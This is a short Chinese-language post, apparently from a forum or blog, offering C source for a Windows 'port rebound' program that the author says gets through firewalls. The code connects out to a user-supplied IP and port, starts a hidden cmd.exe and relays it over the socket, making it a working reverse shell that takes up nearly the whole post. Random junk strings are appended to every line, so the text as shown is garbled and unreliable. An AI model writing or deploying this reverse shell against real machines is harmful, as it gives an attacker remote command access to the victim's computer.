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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %xR;8IO  
48n>[ FMSR  
/* ============================== cmu5KeH  
Rebound port in Windows NT P$@5&/]  
By wind,2006/7 VbtFM=Dg  
===============================*/ ;1cX|N=  
#include /s=TLPm  
#include r! 5C3  
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#pragma comment(lib,"wsock32.lib") _SC>EP8:Z  
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void OutputShell(); QH4nb h4  
SOCKET sClient; COj50t/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "0g1'az}  
@)m+O#a  
void main(int argc,char **argv) F5J=+Q%8[&  
{ ;G~0 VM2|  
WSADATA stWsaData; =5LtEgHU  
int nRet; ;P _`4w3  
SOCKADDR_IN stSaiClient,stSaiServer; /wCeeG,<  
?}B9=R$Pi  
if(argc != 3) a7q-*%+d5  
{ y6; '?.Y1  
printf("Useage:\n\rRebound DestIP DestPort\n"); Gz!72H  
return; -^;G^Uq6=  
} + &b`QcH<  
`ivr$b#  
WSAStartup(MAKEWORD(2,2),&stWsaData); 0sq/_S  
&^4W+I{H  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .d9VV&  
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stSaiClient.sin_family = AF_INET; tGd9Cs9D<  
stSaiClient.sin_port = htons(0); T_,LK7D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A A<9 XC  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ix]3t^  
{ r[M]2h  
printf("Bind Socket Failed!\n"); '8k\a{t_z  
return; (1(3:)@S6  
} Os8]iNvW\  
8R:H{)o~s}  
stSaiServer.sin_family = AF_INET; `/]8C &u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uHQJ&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gA!-F}x$  
F)_Rs5V:(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ajq;\- :  
{ t22BO@gt74  
printf("Connect Error!"); \Ul*Nsw  
return; akBR"y:~:H  
} rEdr8qw  
OutputShell(); r em&F'x0V  
} *u7C){)gr[  
!V@Y \M d  
void OutputShell() v<tH 3I+   
{ Iu(T@",Q#  
char szBuff[1024]; N!"GwH  
SECURITY_ATTRIBUTES stSecurityAttributes; KL.{)bi  
OSVERSIONINFO stOsversionInfo; v>)[NAY9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +tkd($//  
STARTUPINFO stStartupInfo; ',6QL4qV/  
char *szShell; M5exo   
PROCESS_INFORMATION stProcessInformation; 2v`VtV|B  
unsigned long lBytesRead; *xU^e`P  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v2EM| Q xp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \ fU{$  
stSecurityAttributes.lpSecurityDescriptor = 0; lbT<HWzNH  
stSecurityAttributes.bInheritHandle = TRUE; %MbjKw  
Lvv`_  
4VaUa8 D  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x;Dr40wD@y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k%:]PQjYT  
#&r^~>,#L-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q-O:L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +VDl"Hx  
stStartupInfo.wShowWindow = SW_HIDE; tI{ n!  
stStartupInfo.hStdInput = hReadPipe; -1S+fUkiK/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wXXv0OzK  
Xj+1]KRN  
GetVersionEx(&stOsversionInfo); |mk$W$h  
j=dHgnVvj  
switch(stOsversionInfo.dwPlatformId) +Z$X5Th  
{ !j%)nU  
case 1: @/anJrt  
szShell = "command.com"; n?Gm 5##  
break; x gaN0!  
default: mkj`z  
szShell = "cmd.exe"; f>ED  
break; yW|yZ(7  
} 3$l'>v+5{  
/ )5B  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >0@X^o  
"H%TOk7l  
send(sClient,szMsg,77,0); CL9p/PJ%e  
while(1) evg i\"  
{ z~o%U&DO}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yq`r>g  
if(lBytesRead) JYm@Llf)$  
{ faD(, H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nsw.\(#  
send(sClient,szBuff,lBytesRead,0); 79:x>i=  
} JZu7Fb]L9  
else \)y5~te*  
{ 09|d<  
lBytesRead=recv(sClient,szBuff,1024,0); dW8'$!@!!  
if(lBytesRead<=0) break; .__X[Mzth3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b*dRNu  
} c 0!bn b  
} q* Ns]f'a  
;13lu1  
return; (.%:Q0i1  
}
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